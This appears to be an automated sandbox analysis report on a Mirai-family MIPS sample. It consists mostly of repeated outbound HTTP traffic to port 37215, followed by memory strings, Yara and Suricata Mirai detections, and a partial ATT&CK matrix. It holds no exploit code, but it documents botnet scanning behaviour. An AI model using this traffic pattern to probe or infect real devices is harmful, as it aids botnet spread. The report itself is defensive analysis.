Source: unknown	Network traffic detected: HTTP traffic on port 33936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54210 -> 37215

Source: /tmp/ewe.mips.elf (PID: 5494)

Queries kernel information via 'uname':

Jump to behavior

Source: ewe.mips.elf, 5494.1.00007ffd10931000.00007ffd10952000.rw-.sdmp, ewe.mips.elf, 5499.1.00007ffd10931000.00007ffd10952000.rw-.sdmp, ewe.mips.elf, 5503.1.00007ffd10931000.00007ffd10952000.rw-.sdmp, ewe.mips.elf, 5506.1.00007ffd10931000.00007ffd10952000.rw-.sdmp, ewe.mips.elf, 5510.1.00007ffd10931000.00007ffd10952000.rw-.sdmp, ewe.mips.elf, 5515.1.00007ffd10931000.00007ffd10952000.rw-.sdmp, ewe.mips.elf, 5516.1.00007ffd10931000.00007ffd10952000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/ewe.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/ewe.mips.elf
Source: ewe.mips.elf, 5494.1.000055da79f7b000.000055da7a002000.rw-.sdmp, ewe.mips.elf, 5499.1.000055da79f7b000.000055da7a002000.rw-.sdmp, ewe.mips.elf, 5503.1.000055da79f7b000.000055da7a002000.rw-.sdmp, ewe.mips.elf, 5506.1.000055da79f7b000.000055da7a002000.rw-.sdmp, ewe.mips.elf, 5510.1.000055da79f7b000.000055da7a002000.rw-.sdmp, ewe.mips.elf, 5515.1.000055da79f7b000.000055da7a002000.rw-.sdmp, ewe.mips.elf, 5516.1.000055da79f7b000.000055da7a002000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: ewe.mips.elf, 5494.1.000055da79f7b000.000055da7a002000.rw-.sdmp, ewe.mips.elf, 5499.1.000055da79f7b000.000055da7a002000.rw-.sdmp, ewe.mips.elf, 5503.1.000055da79f7b000.000055da7a002000.rw-.sdmp, ewe.mips.elf, 5506.1.000055da79f7b000.000055da7a002000.rw-.sdmp, ewe.mips.elf, 5510.1.000055da79f7b000.000055da7a002000.rw-.sdmp, ewe.mips.elf, 5515.1.000055da79f7b000.000055da7a002000.rw-.sdmp, ewe.mips.elf, 5516.1.000055da79f7b000.000055da7a002000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: ewe.mips.elf, 5494.1.00007ffd10931000.00007ffd10952000.rw-.sdmp, ewe.mips.elf, 5499.1.00007ffd10931000.00007ffd10952000.rw-.sdmp, ewe.mips.elf, 5503.1.00007ffd10931000.00007ffd10952000.rw-.sdmp, ewe.mips.elf, 5506.1.00007ffd10931000.00007ffd10952000.rw-.sdmp, ewe.mips.elf, 5510.1.00007ffd10931000.00007ffd10952000.rw-.sdmp, ewe.mips.elf, 5515.1.00007ffd10931000.00007ffd10952000.rw-.sdmp, ewe.mips.elf, 5516.1.00007ffd10931000.00007ffd10952000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: ewe.mips.elf, type: SAMPLE
Source: Yara match	File source: 5510.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5515.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5494.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5516.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5503.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5499.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5506.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ewe.mips.elf PID: 5494, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.mips.elf PID: 5499, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.mips.elf PID: 5503, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.mips.elf PID: 5506, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.mips.elf PID: 5510, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.mips.elf PID: 5515, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.mips.elf PID: 5516, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)

Yara detected Mirai

Source: Yara match	File source: ewe.mips.elf, type: SAMPLE
Source: Yara match	File source: 5510.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5515.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5494.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5516.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5503.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5499.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5506.1.00007fc7a8400000.00007fc7a8416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ewe.mips.elf PID: 5494, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.mips.elf PID: 5499, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.mips.elf PID: 5503, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.mips.elf PID: 5506, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.mips.elf PID: 5510, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.mips.elf PID: 5515, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.mips.elf PID: 5516, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
